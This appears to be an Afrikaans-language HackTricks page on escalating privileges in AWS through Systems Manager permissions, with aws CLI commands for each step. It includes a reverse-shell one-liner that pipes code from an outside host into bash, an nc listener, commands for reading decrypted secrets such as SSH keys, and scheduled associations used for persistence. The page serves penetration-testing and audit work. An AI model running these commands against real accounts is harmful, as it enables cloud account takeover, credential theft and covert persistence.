6.3 KiB
AWS - SSM Privesc
{{#include ../../../banners/hacktricks-training.md}}
SSM
Vir meer inligting oor SSM, kyk:
{{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}}
ssm:SendCommand
'n Aanvaller met die toestemming ssm:SendCommand kan opdragte uitvoer in instansies wat die Amazon SSM Agent draai en die IAM Rol wat binne dit loop, kompromitteer.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
In die geval dat jy hierdie tegniek gebruik om bevoegdhede binne 'n reeds gecompromitteerde EC2-instansie te verhoog, kan jy net die rev shell plaaslik vang met:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Potensiële Impak: Direkte privesc na die EC2 IAM rolle wat aan lopende instansies met SSM Agents gekoppel is.
ssm:StartSession
'n Aanvaller met die toestemming ssm:StartSession kan 'n SSH-agtige sessie in instansies wat die Amazon SSM Agent draai, begin en die IAM Rol wat binne dit loop, kompromitteer.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
Caution
Om 'n sessie te begin, moet die SessionManagerPlugin geïnstalleer wees: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Potensiële Impak: Direkte privesc na die EC2 IAM rolle wat aan lopende instansies met SSM Agents gekoppel is.
Privesc na ECS
Wanneer ECS take met ExecuteCommand geaktiveer loop, kan gebruikers met genoeg regte ecs execute-command gebruik om 'n opdrag binne die houer uit te voer.
Volgens die dokumentasie word dit gedoen deur 'n veilige kanaal te skep tussen die toestel wat jy gebruik om die “exec“ opdrag te begin en die teikenhouer met SSM Session Manager. (SSM Session Manager Plugin is nodig vir dit om te werk)
Daarom sal gebruikers met ssm:StartSession in staat wees om 'n shell binne ECS take te verkry met daardie opsie geaktiveer deur net te loop:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
Potensiële Impak: Direkte privesc na die ECSIAM rolle wat aan lopende take met ExecuteCommand geaktiveer is, geheg is.
ssm:ResumeSession
'n Aanvaller met die toestemming ssm:ResumeSession kan 'n SSH-agtige sessie in instansies wat die Amazon SSM Agent draai met 'n afgekoppelde SSM sessietoestand her-begin en die IAM Rol wat binne dit loop, kompromitteer.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Potensiële Impak: Direkte privesc na die EC2 IAM rolle wat aan lopende instansies met SSM Agents wat loop en ontkoppelde sessies geheg is.
ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)
'n Aanvaller met die genoemde toestemmings gaan in staat wees om die SSM parameters te lys en dit in duidelike teks te lees. In hierdie parameters kan jy dikwels sensitiewe inligting soos SSH sleutels of API sleutels vind.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Potensiële Impak: Vind sensitiewe inligting binne die parameters.
ssm:ListCommands
'n Aanvaller met hierdie toestemming kan al die opdragte lys wat gestuur is en hoopvol sensitiewe inligting daarop vind.
aws ssm list-commands
Potensiële Impak: Vind sensitiewe inligting binne die opdraglyne.
ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)
'n Aanvaller met hierdie toestemmings kan al die opdragte lys wat gestuur is en die uitvoer lees wat gegenereer is, in die hoop om sensitiewe inligting daarop te vind.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Potensiële Impak: Vind sensitiewe inligting binne die uitvoer van die opdraglyne.
Gebruik van ssm:CreateAssociation
'n Aanvaller met die toestemming ssm:CreateAssociation kan 'n State Manager Association skep om outomaties opdragte op EC2-instances wat deur SSM bestuur word, uit te voer. Hierdie assosiasies kan gekonfigureer word om op 'n vaste interval te loop, wat hulle geskik maak vir agterdeur-agtige volharding sonder interaktiewe sessies.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
Note
Hierdie volhardingsmetode werk solank die EC2-instantie deur Systems Manager bestuur word, die SSM-agent loop, en die aanvaller toestemming het om assosiasies te skep. Dit vereis nie interaktiewe sessies of eksplisiete ssm:SendCommand-toestemmings nie. Belangrik: Die
--schedule-expressionparameter (bv.rate(30 minutes)) moet AWS se minimum interval van 30 minute respekteer. Vir onmiddellike of eenmalige uitvoering, laat--schedule-expressionheeltemal weg — die assosiasie sal een keer na skep uitgevoer word.
Codebuild
Jy kan ook SSM gebruik om binne 'n codebuild-projek wat gebou word, te kom:
{{#ref}} aws-codebuild-privesc.md {{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
.png)